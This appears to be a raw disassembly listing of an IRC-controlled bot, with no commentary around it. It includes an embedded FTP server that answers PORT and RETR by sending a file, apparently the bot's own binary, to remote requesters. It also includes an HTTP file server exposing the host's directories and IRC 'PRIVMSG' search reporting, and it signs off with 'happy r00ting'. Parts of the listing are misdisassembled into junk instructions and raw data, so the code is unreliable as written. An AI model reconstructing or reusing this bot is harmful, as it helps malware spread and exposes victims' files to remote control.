		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403FD1
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_403F80
; ---------------------------------------------------------------------------


loc_403FD1:				; CODE XREF: sub_403BAC+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4040A4
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_412D30
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_411ECF
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_411ECF
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_4119E0
		push	[ebp+var_8]
		lea	eax, [ebp+var_F8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_411963
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_412D19
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_411963
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx ; dword_41D1DC
		jmp	loc_403F88
; ---------------------------------------------------------------------------


loc_4040A4:				; CODE XREF: sub_403BAC+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40415F
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx ; dword_41D1DC
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4041AF
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_404155
		call	loc_40422C
		cmp	eax, 1
		jnz	loc_404181
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx ; dword_41D1DC
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	ds:dword_430AD8
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset dword_420464
		push	eax
		call	sub_411963
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_404146
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40F466
		add	esp, 14h


loc_404146:				; CODE XREF: sub_403BAC+575j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_408CFE
		pop	ecx
		jmp	short loc_404181
; ---------------------------------------------------------------------------


loc_404155:				; CODE XREF: sub_403BAC+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40417E
; ---------------------------------------------------------------------------


loc_40415F:				; CODE XREF: sub_403BAC+50Dj
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404181
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40417E:				; CODE XREF: sub_403BAC+28Bj
					; sub_403BAC+2AFj ...
		push	edi
		call	ebx ; dword_41D1DC


loc_404181:				; CODE XREF: sub_403BAC+3DFj
					; sub_403BAC+539j ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_4119E0
		add	esp, 0Ch


loc_404193:				; CODE XREF: sub_403BAC+160j
					; sub_403BAC+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_403CDA
		jmp	loc_403C9F
; ---------------------------------------------------------------------------


loc_4041A5:				; CODE XREF: sub_403BAC+11Ej
		push	1
		pop	eax


loc_4041A8:				; CODE XREF: sub_403BAC+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_403BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041AF	proc near		; CODE XREF: sub_403BAC+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_41D1B4	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_41D1D8	; socket
		push	[ebp+arg_0]
		mov	ds:dword_430AD4, eax
		mov	[ebp+var_10], 2
		call	ds:dword_41D1A8	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_41D1C0	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_430AD4
		call	ds:dword_41D1AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404227
		push	ds:dword_430AD4
		call	ds:dword_41D1D4	; closesocket
		call	ds:dword_41D1B0	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_404227:				; CODE XREF: sub_4041AF+60j
		push	1
		pop	eax
		leave
		retn
sub_4041AF	endp

; ---------------------------------------------------------------------------


loc_40422C:				; CODE XREF: sub_403BAC+531p
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 0A70000h
		sub	eax, 0FEFC858Dh
; ---------------------------------------------------------------------------
		dw 0FFFFh
; ---------------------------------------------------------------------------
		push	offset aRb	; "rb"
		push	eax
		call	sub_412F9E
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4042C3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_4042A7
		push	edi
		mov	edi, 400h


loc_40426F:				; CODE XREF: seg000:004042A4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_412E96
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	ds:dword_430AD4
		call	ds:dword_41D1DC	; send
		push	1
		call	ds:dword_41D050	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40426F
		pop	edi


loc_4042A7:				; CODE XREF: seg000:00404267j
		push	esi
		call	sub_412E40
		pop	ecx
		push	ds:dword_430AD4
		call	ds:dword_41D1D4	; closesocket
		call	ds:dword_41D1B0	; WSACleanup
		push	1
		pop	eax


loc_4042C3:				; CODE XREF: seg000:00404261j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042C6	proc near		; DATA XREF: seg000:00405D4Co
					; seg000:0040E8AEo

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_412030
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_4119E0
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	ds:dword_431E90
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	ds:dword_431F10
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_4046B1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	ds:dword_43702C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_431EBC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4046B1
		push	7FFFFFFFh
		push	edi
		call	ds:dword_431EB8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4046B1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_431F2C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4046B1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40439D:				; CODE XREF: sub_4042C6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_431E78
		cmp	eax, 0FFFFFFFFh
		jz	loc_4046AC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_4043D3:				; CODE XREF: sub_4042C6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	ds:dword_431D88
		test	eax, eax
		jz	loc_404697
		cmp	esi, [ebp+var_C]
		jnz	short loc_404455
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_431F24
		cmp	eax, 0FFFFFFFFh
		jz	loc_404697
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_404427
		lea	edx, [ebp+var_134]


loc_40441B:				; CODE XREF: sub_4042C6+15Fj
		cmp	[edx], eax
		jz	short loc_404427
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40441B


loc_404427:				; CODE XREF: sub_4042C6+14Dj
					; sub_4042C6+157j
		cmp	ecx, ebx
		jnz	short loc_404444
		cmp	ebx, 40h
		jnb	short loc_404444
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_404444:				; CODE XREF: sub_4042C6+163j
					; sub_4042C6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_404697
		mov	[ebp+var_8], eax
		jmp	loc_404697
; ---------------------------------------------------------------------------


loc_404455:				; CODE XREF: sub_4042C6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_4119E0
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_4119E0
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	ds:dword_431EA8
		test	eax, eax
		jg	short loc_4044E8
		push	esi
		call	ds:dword_431F28
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_404697
		lea	eax, [ebp+var_134]


loc_4044A7:				; CODE XREF: sub_4042C6+1EBj
		cmp	[eax], esi
		jz	short loc_4044B8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_4044A7
		jmp	loc_404697
; ---------------------------------------------------------------------------


loc_4044B8:				; CODE XREF: sub_4042C6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_4044DC
		lea	eax, [ebp+ecx*4+var_134]


loc_4044C6:				; CODE XREF: sub_4042C6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_4044C6


loc_4044DC:				; CODE XREF: sub_4042C6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_404697
; ---------------------------------------------------------------------------


loc_4044E8:				; CODE XREF: sub_4042C6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_4119E0
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_411FB0
		add	esp, 10h
		test	eax, eax
		jbe	loc_404697


loc_404516:				; CODE XREF: sub_4042C6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_4045BB
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_411F30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40458F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_411FB0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40458F
		mov	eax, offset asc_420708 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_411F30
		pop	ecx
		pop	ecx
		push	eax
		call	sub_411F30
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4130B0
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_412FC0
		add	esp, 10h
		jmp	short loc_4045A6
; ---------------------------------------------------------------------------


loc_40458F:				; CODE XREF: sub_4042C6+27Fj
					; sub_4042C6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_420704 ; "\r\n"
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4045DA


loc_4045A6:				; CODE XREF: sub_4042C6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_4045BB:				; CODE XREF: sub_4042C6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_411FB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_404516
		jmp	loc_404697
; ---------------------------------------------------------------------------


loc_4045DA:				; CODE XREF: sub_4042C6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_404624
		lea	eax, [ebp+var_134]


loc_4045E6:				; CODE XREF: sub_4042C6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_4045F7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_4045E6
		jmp	short loc_404627
; ---------------------------------------------------------------------------


loc_4045F7:				; CODE XREF: sub_4042C6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40461B
		lea	eax, [ebp+ecx*4+var_134]


loc_404605:				; CODE XREF: sub_4042C6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_404605


loc_40461B:				; CODE XREF: sub_4042C6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_404627
; ---------------------------------------------------------------------------


loc_404624:				; CODE XREF: sub_4042C6+318j
		mov	esi, [ebp+var_4]


loc_404627:				; CODE XREF: sub_4042C6+32Fj
					; sub_4042C6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_404690
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_411FB0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_411FB0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_404690
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_431F2C
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	loc_4048A3
		add	esp, 14h
		jmp	short loc_404697
; ---------------------------------------------------------------------------


loc_404690:				; CODE XREF: sub_4042C6+369j
					; sub_4042C6+38Fj
		push	esi
		call	ds:dword_431F28


loc_404697:				; CODE XREF: sub_4042C6+11Dj
					; sub_4042C6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_4043D3
		jmp	loc_40439D
; ---------------------------------------------------------------------------


loc_4046AC:				; CODE XREF: sub_4042C6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_4046B1:				; CODE XREF: sub_4042C6+6Aj
					; sub_4042C6+92j ...
		call	ds:dword_431E24
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4206BC
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_4046F7
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40F466
		add	esp, 14h


loc_4046F7:				; CODE XREF: sub_4042C6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_408CFE
		pop	ecx
		push	edi
		call	ds:dword_431F28
		push	[ebp+var_254]
		call	sub_41172B
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		jo	short near ptr loc_40477D+1
		pop	esi
		pop	ebx
sub_4042C6	endp ; sp-analysis failed



loc_404721:				; DATA XREF: seg000:00404AE9o
		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_412030
		mov	eax, [ebp+8]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp-44Ch]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp-3C8h]
		push	eax
		lea	eax, [ebp-550h]
		push	eax
		call	sub_411963
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-654h]
		push	eax
		call	sub_411963
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp-0A4h], edi


loc_40477D:				; CODE XREF: sub_4042C6+457j
		jz	short loc_404786
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40478B
; ---------------------------------------------------------------------------


loc_404786:				; CODE XREF: seg000:loc_40477Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40478B:				; CODE XREF: seg000:00404784j
		lea	eax, [ebp-9Ch]
		push	eax
		call	sub_411963
		pop	ecx
		lea	eax, [ebp-68h]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 0A70000h
		sub	[ebp+1E6AE045h], cl
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 0A70000h
		add	cl, [ebp-427C1FBBh]
		dec	eax
; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 98458D50h, 0E0458D50h, 98458D50h, 0E0458D50h
		dd 98458D50h, 8D1D7550h, 0FFFF6485h, 858D50FFh,	0FFFFE9ACh
		dd 42080468h, 64E85000h, 830000D1h, 21EB24C4h, 0FF48B5FFh
		dd 858DFFFFh, 0FFFFFF64h, 0AC858D50h, 68FFFFE9h, 420714h
		dd 0D141E850h, 0C4830000h, 0AC858D28h, 57FFFFE9h, 0D77EE850h
		dd 50590000h, 0E9AC858Dh, 0FF50FFFFh, 0FFFBB4B5h, 0E015FFFFh
		dd 3900431Eh, 0FFFF5CBDh, 8D1675FFh, 0FFFAB085h, 0B5FF50FFh
		dd 0FFFFFBB4h, 974E8h, 0EB595900h, 0AC858D1Dh, 50FFFFF9h
		dd 0B4B5FF57h, 8DFFFFFBh, 0FFFAB085h, 0D4E850FFh, 83000002h
		dd 0B5FF10C4h, 0FFFFFBB4h, 1F2815FFh, 0B5FF0043h, 0FFFFFF4Ch
		dd 0CE92E8h, 0E8575900h, 66B760h
; ---------------------------------------------------------------------------
		neg	byte ptr [edi+5Eh]


loc_4048A3:				; CODE XREF: sub_4042C6+3C0p
		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp-210h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_4119E0
		mov	eax, [ebp+10h]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4048D9
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_4048E2
; ---------------------------------------------------------------------------


loc_4048D9:				; CODE XREF: seg000:004048CFj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4048E2:				; CODE XREF: seg000:004048D7j
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_411963
		add	esp, 0Ch
		lea	eax, [ebp-10Ch]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_411FB0
		test	eax, eax
		pop	ecx
		jbe	short loc_40497D
		mov	dword ptr [ebp+10h], 2


loc_40490D:				; CODE XREF: seg000:0040497Bj
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_411FB0
		cmp	[ebp+10h], eax
		pop	ecx
		jnb	short loc_40494D
		cmp	byte ptr [ebp+esi-10Ch], 25h
		jnz	short loc_40494D
		cmp	byte ptr [ebp+esi-10Bh], 32h
		jnz	short loc_40494D
		cmp	byte ptr [ebp+esi-10Ah], 30h
		jnz	short loc_40494D
		inc	esi
		mov	byte ptr [ebp+ebx-210h], 20h
		inc	esi
		add	dword ptr [ebp+10h], 2
		jmp	short loc_404967
; ---------------------------------------------------------------------------


loc_40494D:				; CODE XREF: seg000:0040491Dj
					; seg000:00404927j ...
		mov	al, [ebp+esi-10Ch]
		cmp	al, 2Fh
		jnz	short loc_40495D
		push	5Ch
		pop	eax
		jmp	short loc_404960
; ---------------------------------------------------------------------------


loc_40495D:				; CODE XREF: seg000:00404956j
		movsx	eax, al


loc_404960:				; CODE XREF: seg000:0040495Bj
		mov	[ebp+ebx-210h],	al


loc_404967:				; CODE XREF: seg000:0040494Bj
		lea	eax, [ebp-10Ch]
		inc	esi
		inc	dword ptr [ebp+10h]
		push	eax
		inc	ebx
		call	sub_411FB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40490D


loc_40497D:				; CODE XREF: seg000:00404904j
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+0Ch]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_411963
		lea	eax, [ebp-314h]
		push	offset asc_4209BC ; "\n"
		push	eax
		call	sub_4130B0
		add	esp, 18h
		lea	eax, [ebp-314h]
		push	eax
		call	ds:dword_41D074	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4049CB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4049CE
		push	dword ptr [ebp+8]
		jmp	short loc_404A4A
; ---------------------------------------------------------------------------


loc_4049CB:				; CODE XREF: seg000:004049BFj
		mov	[ebp-4], esi


loc_4049CE:				; CODE XREF: seg000:004049C4j
		cmp	byte ptr [ebp+ebx-211h], 5Ch
		jnz	short loc_4049DB
		mov	[ebp-4], esi


loc_4049DB:				; CODE XREF: seg000:004049D6j
		mov	ebx, [ebp+8]
		cmp	[ebp-4], edi
		mov	[ebp-6C4h], ebx
		mov	[ebp-318h], edi
		jz	short loc_404A55
		cmp	[ebp+14h], edi
		jz	short loc_404A49
		lea	eax, [ebp-314h]
		push	offset asc_4209B8 ; "*"
		push	eax
		call	sub_412FD0
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_411963
		lea	eax, [ebp-210h]
		push	eax
		call	sub_405292
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-53Ch]
		push	eax
		call	sub_411963
		add	esp, 1Ch
		or	dword ptr [ebp-330h], 0FFFFFFFFh
		mov	[ebp-31Ch], esi
		jmp	short loc_404AA4
; ---------------------------------------------------------------------------


loc_404A49:				; CODE XREF: seg000:004049F2j
		push	ebx


loc_404A4A:				; CODE XREF: seg000:004049C9j
		call	ds:dword_431F28
		jmp	loc_404B4C
; ---------------------------------------------------------------------------


loc_404A55:				; CODE XREF: seg000:004049EDj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp-314h]
		push	80000000h
		push	eax
		call	ds:dword_41D070	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_404AA4
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_411963
		pop	ecx
		mov	[ebp-31Ch], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 0A70000h
		and	eax, 0D0858956h
		cld
; ---------------------------------------------------------------------------
		dd 15FFFFFFh, 41D068h
; ---------------------------------------------------------------------------


loc_404AA4:				; CODE XREF: seg000:00404A47j
					; seg000:00404A72j
		mov	esi, [ebp+18h]
		lea	eax, [ebp-8C4h]
		push	esi
		push	offset unk_420974
		push	eax
		call	sub_411963
		push	edi
		lea	eax, [ebp-8C4h]
		push	3
		push	eax
		call	sub_41140F
		mov	[ebp-32Ch], eax
		imul	eax, 234h
		add	esp, 18h
		mov	ds:dword_437024[eax], esi
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-6C4h]
		push	edi
		push	eax
		push	offset loc_404721
		push	edi
		push	edi
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-32Ch]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_437034[ecx], eax
		jz	short loc_404B1E


loc_404B0C:				; CODE XREF: seg000:00404B1Cj
		cmp	[ebp-318h], edi
		jnz	short loc_404B4C
		push	5
		call	ds:dword_41D050	; Sleep
		jmp	short loc_404B0C
; ---------------------------------------------------------------------------


loc_404B1E:				; CODE XREF: seg000:00404B0Aj
		push	ebx
		call	ds:dword_431F28
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-8C4h]
		push	offset unk_420928
		push	eax
		call	sub_411963
		lea	eax, [ebp-8C4h]
		push	eax
		call	sub_408CFE
		add	esp, 10h


loc_404B4C:				; CODE XREF: seg000:00404A50j
					; seg000:00404B12j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_404B53:				; CODE XREF: seg000:0040DF61p
		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp-594h]
		push	ebx
		push	eax
		mov	[ebp-4], ebx
		mov	[ebp-8], ebx
		call	sub_4119E0
		mov	edi, [ebp+8]
		push	offset asc_4209BC ; "\n"
		push	edi
		call	sub_4130B0
		add	esp, 14h
		cmp	[ebp+10h], ebx
		jz	short loc_404BB2
		push	edi
		mov	esi, 200h
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-248h]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 14h
		jmp	loc_404CAF
; ---------------------------------------------------------------------------


loc_404BB2:				; CODE XREF: seg000:00404B8Dj
		cmp	[ebp+14h], ebx
		push	edi
		jz	loc_404C95
		call	sub_411FB0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_411EDA
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431EE0
		push	edi
		call	sub_411FB0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
